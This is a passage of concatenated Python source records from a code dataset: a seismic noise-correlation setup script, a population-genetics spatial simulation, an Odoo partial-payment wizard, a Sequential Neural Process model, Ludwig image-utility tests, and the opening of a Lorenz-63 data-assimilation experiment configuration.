abs=1.0e-8)\nassert np.mod(nt_green, 1) == pytest.approx(0, abs=1.0e-8)\nassert np.mod(nt_corr, config[\"simulation\"][\"sampling_rate_boundary\"]) == pytest.approx(0, abs=1.0e-8)\nassert np.mod(nt_green, config[\"simulation\"][\"sampling_rate_boundary\"]) == pytest.approx(0, abs=1.0e-8)\n\n# save configuration\nscorr_extensions.save_configuration(filename=config[\"working_dir_local\"] / \"config\" / \"scorr.json\",\n config=config, type=\"scorr\")\n\n#####################################\n########## NOISE SOURCE ##########\n#####################################\n\n# save load source configuration\nconfig_noise_source = scorr_extensions.load_configuration(filename=config[\"working_dir_local\"] / \"config\" /\n \"noise_source.json\", type=\"noise_source\")\nconfig_noise_source[\"type\"] = \"homogeneous\"\n# config_noise_source[\"type\"] = \"gaussian\"\n# config_noise_source[\"spectrum\"][\"f_peak\"] = 0.005\n\n# save noise source configuration\nscorr_extensions.save_configuration(\n filename=config[\"working_dir_local\"] / \"config\" / \"noise_source.json\", config=config_noise_source,\n type=\"noise_source\")\n\n#####################################\n########## SITE ##########\n#####################################\n\n# load site configuration\n# site = scorr_extensions.load_configuration(DIR_PROJECT / \"config\" / \"site.json\", type=\"site\")\n\n# change site configuration\nsite = {\"site\": \"daint\",\n \"ranks_salvus\": 192,\n \"ranks_scorr\": 24,\n \"ping_interval_in_seconds\": 60,\n \"wall_time_in_seconds_salvus\": 18000,\n \"wall_time_in_seconds_scorr\": 7200}\n\n# save site configuration\nscorr_extensions.save_configuration(filename=config[\"working_dir_local\"] / \"config\" / \"site.json\",\n config=site, type=\"site\")\n\n#####################################\n########## MEASUREMENT ##########\n#####################################\n\n# load measurement configuration\nconfig_measurement = scorr_extensions.load_configuration(DIR_PROJECT / \"config\" / \"measurement.json\",\n type=\"measurement\")\n\n# change measurement configuration\n# config_measurement[\"type\"] = \"waveform_differences\"\n# config_measurement[\"type\"] = \"log_amplitude_ratio\"\nconfig_measurement[\"type\"] = \"cc_time_shift\"\nconfig_measurement[\"component_recording\"] = 2\nconfig_measurement[\"pick_window\"] = True\nconfig_measurement[\"pick_manual\"] = False\nconfig_measurement[\"min_period_in_s\"] = 200.0\nconfig_measurement[\"scale\"] = 1e10\nconfig_measurement[\"snr\"] = None\nconfig_measurement[\"surface_wave_velocity_in_mps\"] = 3700.0\n# config_measurement[\"surface_wave_velocity_in_mps\"] = 4000.0\nconfig_measurement[\"window_halfwidth_in_sec\"] = 600.0\nconfig_measurement[\"number_of_stacked_windows_min\"] = None\nconfig_measurement[\"station_list\"] = None\n\n# save measurement configuration\nscorr_extensions.save_configuration(filename=config[\"working_dir_local\"] / \"config\" / \"measurement.json\",\n config=config_measurement, type=\"measurement\")\n\n#####################################\n######## RUN PREPARATION ########\n#####################################\n\nsetup_noise_source(config=config, site=site, config_noise_source=config_noise_source)\npreparation.prepare_source_and_receiver(config=config, identifier_prefix=\"syn\",\n loc_sources=loc_sources, loc_receivers=loc_receivers)\n","sub_path":"scorr/cli_scripts/prepare_events_spherical_synthetic.py","file_name":"prepare_events_spherical_synthetic.py","file_ext":"py","file_size_in_byte":7763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"188259985","text":"#!/usr/bin/python3\n\nfrom nobones import population\nfrom nobones import nbmath\nfrom nobones import nbspatial\nfrom nobones import genetics\n\npop1 = population.Population()\npop2 = population.Population()\nind = population.Individual()\n\npop1.generateIndividual(0,0,1,'r','','A',0,70,300,'(0, 255, 0)')\npop2.generateIndividual(0,0,2,'r','','A',0,70,300,'(0, 0, 255)')\n\nfor x in range(0,20):\n\tpop1.generateIndividual(0,0,1,'r','','',0,70,300,'(0, 255, 0)')\n\tpop2.generateIndividual(0,0,2,'r','','',0,70,300,'(0, 0, 255)')\n\nspace = nbspatial.Space()\nlife = genetics.Genetics()\n\nspace.loadWorld('testworld.jpg', 7100, 4000)\n\ndef getColor(color):\n\tnewColor = color.replace(' ','').replace('(','').replace(')','').split(',')\n\t\n\treturn (int(newColor[0]),int(newColor[1]),int(newColor[2]))\n\t\ndef mixColor(color1, color2):\n\tnewColor1 = getColor(color1)\n\tnewColor2 = getColor(color2)\n\t\n\tR = (int(newColor1[0])+int(newColor2[0]))/2\n\tG = (int(newColor1[1])+int(newColor2[1]))/2\n\tB = (int(newColor1[2])+int(newColor2[2]))/2\n\n\treturn (int(R),int(G),int(B))\n\t\ndef getRandomInd(inds):\n\tlength = len(inds)\n\n\tif length == 1:\n\t\treturn inds[0]\n\telse:\n\t\tind = nbmath.randomBetween(0,length-1)\n\t\treturn inds[ind]\n\ndef mating(close):\n\tnewInd = population.Individual()\n\trandInd = population.Individual()\n\n\t_randInd = getRandomInd(close)\n\trandInd.loadIndividual(_randInd)\n\t\n\t_newInd = life.produceOffspring(ind.getIndividual(), randInd.getIndividual())\n\tnewInd.loadIndividual(_newInd)\n\t\n\tnewInd.misc = mixColor(ind.misc, randInd.misc)\n\t\n\tnewInd.social = ind.social\n\t\n\tind.loadIndividual(newInd.getIndividual())\n\nfor x in range(0,2000):\n\tprint(x)\n \n\tspace.copyForDrawing()\n \n\tpop1.selectAll()\n \n\twhile pop1.feedToEnd() != 'done':\n\t\tind.loadIndividual(pop1.selectedIndividual)\n\t\t\n\t\tif ind.social == 'A':\n\t\t\tmodified_ind = space.moveRandomly(pop1.selectedIndividual, 150)\t\t\n\t\t\t\n\t\t\tind.loadIndividual(modified_ind)\n\t\t\t\n\t\t\tX = ind.X\n\t\t\tY = ind.Y\n\t\t\t\n\t\t\tpop1.saveSelectedIndividual(modified_ind)\n\t\telse:\n\t\t\tmodified_ind = space.moveCloseTo(pop1.selectedIndividual, X, Y, 200)\n\t\t\tind.loadIndividual(modified_ind)\n\t\t\t\n\t\t\tpop1.saveSelectedIndividual(modified_ind)\n\t\t\t\n\t\tclose = space.individualsCloseTo(pop1.Selected + pop2.Selected, ind.X, ind.Y, 29)\n\t\t\n\t\tif close != None:\n\t\t\tmating(close)\n\t\t\t\n\t\t\tpop1.saveSelectedIndividual(ind.getIndividual())\n\t\t\n\t\tspace.markCopyAt(ind.X,ind.Y,getColor(ind.misc))\n\t\t\n\tpop2.selectAll()\n\t\t\n\twhile pop2.feedToEnd() != 'done':\n\t\tind.loadIndividual(pop2.selectedIndividual)\n\t\t\n\t\tif ind.social == 'A':\n\t\t\tmodified_ind = space.moveRandomly(pop2.selectedIndividual, 150)\t\t\n\t\t\t\n\t\t\tind.loadIndividual(modified_ind)\n\t\t\t\n\t\t\tX = ind.X\n\t\t\tY = ind.Y\n\t\t\t\n\t\t\tpop2.saveSelectedIndividual(modified_ind)\n\t\telse:\n\t\t\tmodified_ind = space.moveCloseTo(pop2.selectedIndividual, X, Y, 200)\n\t\t\tind.loadIndividual(modified_ind)\n\t\t\t\n\t\t\tpop2.saveSelectedIndividual(modified_ind)\n\n\t\tclose = space.individualsCloseTo(pop1.Selected + pop2.Selected, ind.X, ind.Y, 29)\n\t\t\n\t\tif close != None:\n\t\t\tmating(close)\n\t\t\t\n\t\t\tpop2.saveSelectedIndividual(ind.getIndividual())\n\t\t\n\t\tspace.markCopyAt(ind.X,ind.Y,getColor(ind.misc))\n\t\n\t#just for the filenames\n\tif x < 10:\n\t\tnr = '000' + str(x)\n\telif x < 100:\n\t\tnr = '00' + str(x)\n\telif x < 1000:\n\t\tnr = '0' + str(x)\n\t\t\n\tspace.saveCopy('/home/kim/test/testworld_edit' + nr + '.jpg')\n\t\nprint('finished.');\n","sub_path":"space-test (EXAMPLE).py","file_name":"space-test (EXAMPLE).py","file_ext":"py","file_size_in_byte":3306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"551825961","text":"# -*- coding: utf-8 -*-\n# Part of Odoo. See LICENSE file for full copyright and licensing details.\n\nfrom odoo import api, fields, models\nfrom odoo.exceptions import UserError,ValidationError\nfrom odoo.tools.translate import _\n\n\nclass cls_wizarddetallespagoparcial(models.Model):\n _name = 'detalles.pago.parcial'\n \n def _default_wizard_factura(self):\n factura=self._context.get('factura',False)\n return factura\n \n invoice_id=fields.Many2one(\"account.invoice\",string=\"Factura\",default=_default_wizard_factura)\n name = fields.Char(track_visibility='onchange',required=False,string='Descripcion')\n impuestos= fields.Boolean(string='Aplica Impuestos')\n \n @api.onchange('checkall')\n def onchange_actividad(self):\n for record in self:\n for line in record.linesfactura_ids:\n line.checkproceso=record.checkall\n \n \n checkall = fields.Boolean(string='Seleccionar todos los registros a procesar',track_visibility='onchange')\n linesfactura_ids = fields.Many2many('account.invoice.line', 'wizard_detalles_pagos_parcial')\n\n\n\n\n @api.multi\n def genera_detalles_pagos_parciales(self):\n for record in self:\n totalcheck=0\n devengadofactura_id = self._context.get('active_ids', False)\n for devengado in devengadofactura_id:\n devengado_obj=record.env['account.invoice'].search([('id', '=',devengado)])\n\n\n pagoparcial={\n 'invoice_id':devengado_obj.id,\n 'name':record.name,\n 'utilizado':False,\n 'impuestos':record.impuestos,\n }\n pagoparcial_obj=record.env['pago.parcial'].with_context(check_move_validity=False).create(pagoparcial)\n\n if record.impuestos:\n \ttotalcheck=1\n for lines in record.linesfactura_ids:\n if lines.checkproceso:\n totalcheck=1\n if round(lines.importeapagar,2)<=0:\n raise ValidationError('El importe de los registros seleccionados deber ser mayor a 0')\n else:\n importeporpagar=lines.importeporpagar+lines.importeapagar \n if round(lines.totaldetalle,2)>=round(importeporpagar,2):\n lines.importeporpagar=importeporpagar\n \n #detallesmomentos_obj = self.env['account.invoice.line']\n #detallesmomentos=detallesmomentos_obj.search([('invoice_id','=',devengado),('momentogastoline_id', '=',lines.id)])\n \n detallespagoparcial={\n 'pagoparcial_id':pagoparcial_obj.id,\n 'invoiceline_id':lines.id,\n 'importeparcial':lines.importeapagar,\n }\n record.env['pago.parcial.lines'].with_context(check_move_validity=False).create(detallespagoparcial)\n else:\n raise ValidationError('Existen registros en donde el importe a pagar excede el importe total del detalle')\n lines.checkproceso=False\n lines.importeapagar=0\n pagoparcial_obj._compute_importe()\n if totalcheck==0:\n raise ValidationError('No se ha seleccionado ningun detalles')\n\n","sub_path":"extrasGDL/finanzas/wizard/wizard_pago_parcial.py","file_name":"wizard_pago_parcial.py","file_ext":"py","file_size_in_byte":3630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"392335969","text":"\n\"\"\"Sequential Neural Processes.\n\nG. Singh et al., \"Sequential Neural Processes\".\nhttp://arxiv.org/abs/1906.10264\n\"\"\"\n\nfrom typing import Tuple, Dict, Optional\n\nimport torch\nfrom torch import Tensor, nn\nfrom torch.nn import functional as F\n\nfrom .base_np import BaseNP, kl_divergence_normal, nll_normal\n\n\nclass DeterministicEncoder(nn.Module):\n \"\"\"Encoder and aggregator r = f(x, y).\n\n Args:\n x_dim (int): Dimension size of x.\n y_dim (int): Dimension size of y.\n r_dim (int): Dimension size of r (representation).\n \"\"\"\n\n def __init__(self, x_dim: int, y_dim: int, r_dim: int) -> None:\n super().__init__()\n\n self.fc = nn.Sequential(\n nn.Linear(x_dim + y_dim, 64),\n nn.ReLU(),\n nn.Linear(64, 64),\n nn.ReLU(),\n nn.Linear(64, r_dim),\n )\n\n def forward(self, x: Tensor, y: Tensor) -> Tensor:\n \"\"\"Forward method r = f(x, y).\n\n Args:\n x (torch.Tensor): x context data, size\n `(batch_size, num_context, x_dim)`.\n y (torch.Tensor): x context data, size\n `(batch_size, num_context, y_dim)`.\n\n Returns:\n r (torch.Tensor): Aggregated representation, size\n `(batch_size, r_dim)`.\n \"\"\"\n\n h = torch.cat([x, y], dim=-1)\n h = self.fc(h)\n\n # Aggregate representations for all contexts per batch and dimension.\n # (batch_size, num_context, r_dim) -> (batch_size, r_dim)\n r = h.mean(dim=1)\n\n return r\n\n\nclass StochasticEncoder(nn.Module):\n \"\"\"Stochastic encoder p(z|h, r).\n\n Args:\n h_dim (int): Dimension size of h (rnn hidden state).\n r_dim (int): Dimension size of r (representation).\n z_dim (int): Dimension size of z (stochastic latent).\n \"\"\"\n\n def __init__(self, h_dim: int, r_dim: int, z_dim: int) -> None:\n super().__init__()\n\n self.fc = nn.Sequential(\n nn.Linear(h_dim + r_dim, 64),\n nn.ReLU(),\n nn.Linear(64, 64),\n nn.ReLU(),\n nn.Linear(64, 128),\n )\n self.fc_mu = nn.Linear(128, z_dim)\n self.fc_var = nn.Linear(128, z_dim)\n\n def forward(self, h: Tensor, r: Tensor) -> Tuple[Tensor, Tensor]:\n \"\"\"Forward method p(z|h, r).\n\n Args:\n h (torch.Tensor): Hidden state, size `(batch_size, h_dim)`.\n r (torch.Tensor): Representation, size `(batch_size, r_dim)`.\n\n Returns:\n mu (torch.Tensor): Encoded aggregated mean, size\n `(batch_size, z_dim)`.\n var (torch.Tensor): Encoded aggregated variance, size\n `(batch_size, z_dim)`.\n \"\"\"\n\n h = torch.cat([h, r], dim=-1)\n s = self.fc(h)\n\n # Mean and variance of N(mu(s), var(s)^0.5)\n mu = self.fc_mu(s)\n var = F.softplus(self.fc_var(s))\n\n return mu, var\n\n\nclass Decoder(nn.Module):\n \"\"\"Decoder.\n\n Args:\n x_dim (int): Dimension size of x.\n y_dim (int): Dimension size of y.\n h_dim (int): Dimension size of h (rnn hidden state).\n z_dim (int): Dimension size of z (stochastic latent).\n \"\"\"\n\n def __init__(self, x_dim: int, y_dim: int, h_dim: int, z_dim: int) -> None:\n super().__init__()\n\n self.fc = nn.Sequential(\n nn.Linear(x_dim + h_dim + z_dim, 64),\n nn.ReLU(),\n nn.Linear(64, 64),\n nn.ReLU(),\n )\n\n self.fc_mu = nn.Linear(64, y_dim)\n self.fc_var = nn.Linear(64, y_dim)\n\n def forward(self, x: Tensor, h: Tensor, z: Tensor\n ) -> Tuple[Tensor, Tensor]:\n \"\"\"Forward method.\n\n Args:\n x (torch.Tensor): x context data, size\n `(batch_size, num_points, x_dim)`.\n h (torch.Tensor): RNN hidden state, size `(batch_size, h_dim)`.\n z (torch.Tensor): Stochastic latent, size `(batch_size, z_dim)`.\n\n Returns:\n mu (torch.Tensor): Decoded mean, size\n `(batch_size, num_points, y_dim)`.\n var (torch.Tensor): Decoded variance, size\n `(batch_size, num_points, y_dim)`.\n \"\"\"\n\n # Data size\n num_points = x.size(1)\n\n # Concat inputs\n h = h.unsqueeze(1).repeat(1, num_points, 1)\n z = z.unsqueeze(1).repeat(1, num_points, 1)\n h = torch.cat([x, h, z], dim=-1)\n\n # Forward\n h = self.fc(h)\n mu = self.fc_mu(h)\n var = F.softplus(self.fc_var(h))\n\n return mu, var\n\n\nclass SequentialNP(BaseNP):\n \"\"\"Sequential Neural Process class.\n\n Args:\n x_dim (int): Dimension size of x.\n y_dim (int): Dimension size of y.\n r_dim (int): Dimension size of r (representation).\n z_dim (int): Dimension size of z (stochastic latent).\n h_dim (int): Dimension size of h (rnn hidden state).\n\n Attributes:\n encoder_r (DeterministicEncoder): Encoder for deterministic\n representation `r`.\n encoder_z (StochasticEncoder): Encoder for stochastic latent `z`.\n decoder (Decoder): Decoder for predicting y with representation and\n query.\n rnn_cell (nn.RNNCell): RNN for sequence.\n \"\"\"\n\n def __init__(self, x_dim: int, y_dim: int, r_dim: int, z_dim: int,\n h_dim: int) -> None:\n super().__init__()\n\n self.z_dim = z_dim\n self.h_dim = h_dim\n\n self.encoder_r = DeterministicEncoder(x_dim, y_dim, r_dim)\n self.encoder_z = StochasticEncoder(h_dim, r_dim, z_dim)\n self.decoder = Decoder(x_dim, y_dim, h_dim, z_dim)\n self.rnn_cell = nn.RNNCell(r_dim + z_dim, h_dim)\n\n def sample(self, x_context: Tensor, y_context: Tensor, x_target: Tensor,\n y_target: Optional[Tensor] = None) -> Tuple[Tensor, Tensor]:\n \"\"\"Samples queried y target.\n\n Args:\n x_context (torch.Tensor): x for context, size\n `(batch_size, seq_len, num_context, x_dim)`.\n y_context (torch.Tensor): y for context, size\n `(batch_size, seq_len, num_context, y_dim)`.\n x_target (torch.Tensor): x for target, size\n `(batch_size, seq_len, num_target, x_dim)`.\n y_target (torch.Tensor, optional): y for target, size\n `(batch_size, recon_len, num_target, y_dim)`.\n\n Returns:\n mu (torch.Tensor): Mean of y, size\n `(batch_size, seq_len, num_target, y_dim)`.\n var (torch.Tensor): Variance of y, size\n `(batch_size, seq_len, num_target, y_dim)`.\n \"\"\"\n\n # Initial parameters\n batch, seq_len, num_target, _ = x_target.size()\n recon_len = y_target.size(1) if y_target is not None else 0\n\n h_t = x_target.new_zeros((batch, self.h_dim))\n z_t = x_target.new_zeros((batch, self.z_dim))\n\n # Sample\n # t < recon_len: Reconstruct observations\n # t >= recon_len: Sample from prior\n y_mu_list = []\n y_var_list = []\n for t in range(seq_len):\n # 1. Encode context: r = f(x, y)\n if y_target is not None and t < recon_len:\n r_t = self.encoder_r(x_target[:, t], y_target[:, t])\n else:\n r_t = self.encoder_r(x_context[:, t], y_context[:, t])\n\n # 2. Update rnn: h_t = rnn(z, r, h_{t-1})\n h_t = self.rnn_cell(torch.cat([z_t, r_t], dim=-1), h_t)\n\n # 3. Sample stochastic latent: z ~ p(h, r)\n z_t_mu, z_t_var = self.encoder_z(h_t, r_t)\n z_t = z_t_mu + z_t_var ** 0.5 * torch.randn_like(z_t_var)\n\n # 4. Render target y: y = renderer(x, z, h)\n y_t_mu, y_t_var = self.decoder(x_target[:, t], z_t, h_t)\n\n y_mu_list.append(y_t_mu)\n y_var_list.append(y_t_var)\n\n # Stack and resize\n y_mu = torch.stack(y_mu_list)\n y_var = torch.stack(y_var_list)\n\n y_mu = y_mu.transpose(0, 1)\n y_var = y_var.transpose(0, 1)\n\n return y_mu, y_var\n\n def loss_func(self, x_context: Tensor, y_context: Tensor, x_target: Tensor,\n y_target: Tensor) -> Dict[str, Tensor]:\n \"\"\"Loss function for the negative conditional log probability.\n\n Args:\n x_context (torch.Tensor): x for context, size\n `(batch_size, seq_len, num_context, x_dim)`.\n y_context (torch.Tensor): y for context, size\n `(batch_size, seq_len, num_context, y_dim)`.\n x_target (torch.Tensor): x for target, size\n `(batch_size, seq_len, num_target, x_dim)`.\n y_target (torch.Tensor): y for target, size\n `(batch_size, seq_len, num_target, y_dim)`.\n\n Returns:\n loss_dict (dict of [str, torch.Tensor]): Calculated loss.\n \"\"\"\n\n # Initial parameters\n batch, seq_len, *_ = x_context.size()\n h_t = x_target.new_zeros((batch, self.h_dim))\n z_t = x_target.new_zeros((batch, self.z_dim))\n\n nll_loss = x_target.new_zeros((batch,))\n kl_loss = x_target.new_zeros((batch,))\n\n for t in range(seq_len):\n # 1. Encode context and target: r = f(x, y)\n r_t_ctx = self.encoder_r(x_context[:, t], y_context[:, t])\n r_t_tgt = self.encoder_r(x_target[:, t], y_target[:, t])\n\n # 2. Update rnn: h_t = rnn(z, r, h_{t-1})\n h_t = self.rnn_cell(torch.cat([z_t, r_t_ctx], dim=-1), h_t)\n\n # 3. Sample stochastic latent z ~ p(h, r), q(h, r)\n z_t_mu_ctx, z_t_var_ctx = self.encoder_z(h_t, r_t_ctx)\n\n z_t_mu_tgt, z_t_var_tgt = self.encoder_z(h_t, r_t_tgt)\n z_t = (z_t_mu_tgt\n + z_t_var_tgt ** 0.5 * torch.randn_like(z_t_var_tgt))\n\n # 4. Render target y: y = renderer(x, z, h)\n y_t_mu, y_t_var = self.decoder(x_target[:, t], z_t, h_t)\n\n # Loss\n nll_loss += nll_normal(y_target[:, t], y_t_mu, y_t_var).sum(-1)\n kl_loss += kl_divergence_normal(\n z_t_mu_tgt, z_t_var_tgt, z_t_mu_ctx, z_t_var_ctx)\n\n loss_dict = {\n \"loss\": (nll_loss + kl_loss).mean(),\n \"nll\": nll_loss.mean(),\n \"kl\": kl_loss.mean(),\n }\n\n return loss_dict\n","sub_path":"neuralprocess/sequential_np.py","file_name":"sequential_np.py","file_ext":"py","file_size_in_byte":10270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"548434758","text":"# Copyright (c) 2019 Uber Technologies, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\nfrom typing import Callable\n\nimport pytest\nimport torch\n\nfrom ludwig.utils.image_utils import (\n crop,\n crop_or_pad,\n grayscale,\n num_channels_in_image,\n pad,\n resize_image,\n ResizeChannels,\n)\n\n\n@pytest.mark.parametrize(\"pad_fn\", [pad, torch.jit.script(pad)])\n@pytest.mark.parametrize(\n \"img,size,padded_img\",\n [\n (\n torch.arange(12, dtype=torch.int).reshape(3, 2, 2),\n 4,\n torch.Tensor(\n [\n 0,\n 0,\n 1,\n 1,\n 0,\n 0,\n 1,\n 1,\n 2,\n 2,\n 3,\n 3,\n 2,\n 2,\n 3,\n 3,\n 4,\n 4,\n 5,\n 5,\n 4,\n 4,\n 5,\n 5,\n 6,\n 6,\n 7,\n 7,\n 6,\n 6,\n 7,\n 7,\n 8,\n 8,\n 9,\n 9,\n 8,\n 8,\n 9,\n 9,\n 10,\n 10,\n 11,\n 11,\n 10,\n 10,\n 11,\n 11,\n ]\n )\n .type(torch.int)\n .reshape(3, 4, 4),\n )\n ],\n)\ndef test_pad(pad_fn: Callable, img: torch.Tensor, size: int, padded_img: torch.Tensor):\n output_img = pad_fn(img, size)\n assert torch.equal(output_img, padded_img)\n\n\n@pytest.mark.parametrize(\"crop_fn\", [crop, torch.jit.script(crop)])\n@pytest.mark.parametrize(\n \"img,size,cropped_img\",\n [\n (\n torch.arange(27, dtype=torch.int).reshape(3, 3, 3),\n 2,\n torch.Tensor([0, 1, 3, 4, 9, 10, 12, 13, 18, 19, 21, 22]).type(torch.int).reshape(3, 2, 2),\n )\n ],\n)\ndef test_crop(crop_fn: Callable, img: torch.Tensor, size: int, cropped_img: torch.Tensor):\n output_img = crop_fn(img, size)\n assert torch.equal(output_img, cropped_img)\n\n\n@pytest.mark.parametrize(\"crop_or_pad_fn\", [crop_or_pad, torch.jit.script(crop_or_pad)])\n@pytest.mark.parametrize(\n \"img,new_size,expected_img\",\n [\n (\n torch.arange(12, dtype=torch.int).reshape(3, 2, 2),\n 4,\n torch.Tensor(\n [\n 0,\n 0,\n 1,\n 1,\n 0,\n 0,\n 1,\n 1,\n 2,\n 2,\n 3,\n 3,\n 2,\n 2,\n 3,\n 3,\n 4,\n 4,\n 5,\n 5,\n 4,\n 4,\n 5,\n 5,\n 6,\n 6,\n 7,\n 7,\n 6,\n 6,\n 7,\n 7,\n 8,\n 8,\n 9,\n 9,\n 8,\n 8,\n 9,\n 9,\n 10,\n 10,\n 11,\n 11,\n 10,\n 10,\n 11,\n 11,\n ]\n )\n .type(torch.int)\n .reshape(3, 4, 4),\n ),\n (\n torch.arange(27, dtype=torch.int).reshape(3, 3, 3),\n 2,\n torch.Tensor([0, 1, 3, 4, 9, 10, 12, 13, 18, 19, 21, 22]).type(torch.int).reshape(3, 2, 2),\n ),\n ],\n)\ndef test_crop_or_pad(crop_or_pad_fn: Callable, img: torch.Tensor, new_size: int, expected_img: torch.Tensor):\n output_image = crop_or_pad_fn(img, new_size)\n assert torch.equal(output_image, expected_img)\n\n\n@pytest.mark.parametrize(\"resize_image_fn\", [resize_image, torch.jit.script(resize_image)])\n@pytest.mark.parametrize(\n \"img,new_size,resize_method,expected_img\",\n [\n (\n torch.arange(27, dtype=torch.int).reshape(3, 3, 3),\n 2,\n \"crop_or_pad\",\n torch.Tensor([0, 1, 3, 4, 9, 10, 12, 13, 18, 19, 21, 22]).type(torch.int).reshape(3, 2, 2),\n ),\n (\n torch.arange(27, dtype=torch.int).reshape(3, 3, 3),\n 2,\n \"interpolate\",\n torch.Tensor([1, 2, 6, 7, 10, 12, 14, 16, 19, 20, 24, 25]).type(torch.int).reshape(3, 2, 2),\n ),\n ],\n)\ndef test_resize_image(\n resize_image_fn: Callable, img: torch.Tensor, new_size: int, resize_method: str, expected_img: torch.Tensor\n):\n output_img = resize_image_fn(img, new_size, resize_method)\n assert torch.equal(output_img, expected_img)\n\n\n@pytest.mark.parametrize(\"grayscale_fn\", [grayscale, torch.jit.script(grayscale)])\n@pytest.mark.parametrize(\n \"input_img,grayscale_img\",\n [(torch.arange(12).reshape(3, 2, 2).type(torch.int), torch.Tensor([[[3, 4], [5, 6]]]).type(torch.int))],\n)\ndef test_grayscale(grayscale_fn: Callable, input_img: torch.Tensor, grayscale_img: torch.Tensor):\n output_img = grayscale_fn(input_img)\n assert torch.equal(output_img, grayscale_img)\n\n\ndef test_num_channels_in_image():\n image_2d = torch.randint(0, 1, (10, 10))\n image_3d = torch.randint(0, 1, (3, 10, 10))\n assert num_channels_in_image(image_2d) == 1\n assert num_channels_in_image(image_3d) == 3\n\n with pytest.raises(ValueError):\n num_channels_in_image(torch.rand(5))\n num_channels_in_image(None)\n\n\n@pytest.mark.parametrize(\"image_shape\", [(1, 10, 10), (3, 10, 10), (5, 10, 10)])\n@pytest.mark.parametrize(\"num_channels_expected\", [1, 2, 3, 4])\ndef test_ResizeChannels_module(image_shape, num_channels_expected):\n image = torch.randint(0, 1, image_shape)\n fn = ResizeChannels(num_channels_expected)\n assert fn(image).shape == tuple([num_channels_expected] + list(image_shape[1:]))\n\n\n@pytest.mark.parametrize(\"image_shape\", [(2, 1, 10, 10), (2, 3, 10, 10), (2, 5, 10, 10)])\n@pytest.mark.parametrize(\"num_channels_expected\", [1, 2, 3, 4])\ndef test_ResizeChannels_module_with_batch_dim(image_shape, num_channels_expected):\n image = torch.randint(0, 1, image_shape)\n fn = ResizeChannels(num_channels_expected)\n assert fn(image).shape == tuple([image_shape[0], num_channels_expected] + list(image_shape[2:]))\n","sub_path":"tests/ludwig/utils/test_image_utils.py","file_name":"test_image_utils.py","file_ext":"py","file_size_in_byte":7486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"467900185","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jan 24 11:47:53 2020\n\n@author: jruiz\n\"\"\"\nimport numpy as np\nimport os\nimport pickle\n\nimport sys\n\nsys.path.append(\"../\")\n\n\n\n#Seleccionar aqui el operador de las observaciones que se desea usar.\nfrom Lorenz_63_ObsOperator import forward_operator_nonlinear as forward_operator\nfrom Lorenz_63_ObsOperator import forward_operator_nonlinear_tl as forward_operator_tl\nimport copy\n\nimport tempered_hybrid_module as thm \n\nimport multiprocessing as mp\n\n\nmax_proc=10\n\n# Configuracion del sistema del modelo y del sistema de asimilacion.\nda_exp=dict() #Este diccionario va a contener las variables importantes para nuestro experimento.\n\nda_exp['obs_operator_name'] = 'nonlinear' #CUIDADO, esto tiene que ser consistente con el import que figura mas arriba.\n\nda_exp['random_seed']=10\n#------------------------------------------------------------\n# Especificamos los parametros que usara el modelo\n#------------------------------------------------------------\na = 10.0 # standard L63 10.0 \nr = 28.0 # standard L63 28.0\nb = 8.0/3.0 # standard L63 8.0/3.0\n\nda_exp['p']=np.array([a,r,b])\nda_exp['pim']=np.array([a,r,b])\n\n#------------------------------------------------------------\n# Model and experienet setup\n#------------------------------------------------------------\n\nda_exp['dt']=0.01 # Paso de tiempo para la integracion del modelo de Lorenz\nda_exp['numstep']=10000\n# Cantidad de ciclos de asimilacion.\nda_exp['x0']=np.array([ 8.0 , 0.0 , 30.0 ]) # Condiciones iniciales para el spin-up del nature run (no cambiar)\nda_exp['numtrans']=600 # Tiempo de spin-up para generar el nature run (no cambiar)\n\n#------------------------------------------------------------\n# Configuracion del sistema de asimilacion\n#------------------------------------------------------------\n\nda_exp['dx0'] = np.array([ 5.0 , 5.0 , 5.0 ]) # Error inicial de la estimacion. \nda_exp['R0']=2.0 # Varianza del error de las observaciones.\nda_exp['bst']=16 # Cantidad de pasos de tiempo entre 2 asimilaciones.\nda_exp['forecast_length'] = 2 # Plazo de pronostico (debe ser al menos 1)\nda_exp['nvars']=3 # Numero de variables en el modelo de Lorenz (no tocar)\n\nda_exp['EnsSize']=30 #Numero de miembros en el ensamble.\n\nda_exp['rtps_alpha'] = 0.0 #Relaxation to prior spread (Whitaker y Hamill 2012) # 0.6 es un buen parametro (no se usa por el momento)\nda_exp['rejuv_param'] = 0.0 #Parametro de rejuvenecimiento (Acevedo y Reich 2017) #0.4 es un buen parametro\nda_exp['multinf']=1.0 #Inflacion multiplicativa (solo se aplica al ETKF, no al ETPF)\n\n#Obtengo el numero de observaciones (lo obtengo directamente del forward operator)\nda_exp['nobs']=np.size(forward_operator(np.array([0,0,0])))\n\n#Definimos una matriz de error de las observaciones\nda_exp['R']=da_exp['R0']*np.identity(da_exp['nobs']) #En esta formulacion asumimos que los errores \n #en diferentes observaciones son todos iguales y \n#Creamos un vector de bias para las observaciones.\nda_exp['obs_bias']=np.zeros(da_exp['nobs']) #que no estan correlacionados entre si.\n\nda_exp['P_from_file']=False #Si vamos a leer la matriz P de un archivo.\nda_exp['P_to_file']=False #Si vamos a estimar y guardar la matriz P a partir de los pronosticos.\n\nda_exp['P0']=10.0*np.array([[0.6 , 0.5 , 0.0 ],[0.5 , 0.6 , 0.0 ],[0.0 , 0.0 , 1.0 ]])\n#P=None\n\n#Definimos una matriz Q para compensar los efectos no lineales y posibles errores de modelo.\nda_exp['Q']=0.4 * np.identity(3)\n\nda_exp['forward_operator'] = forward_operator\nda_exp['forward_operator_tl'] = 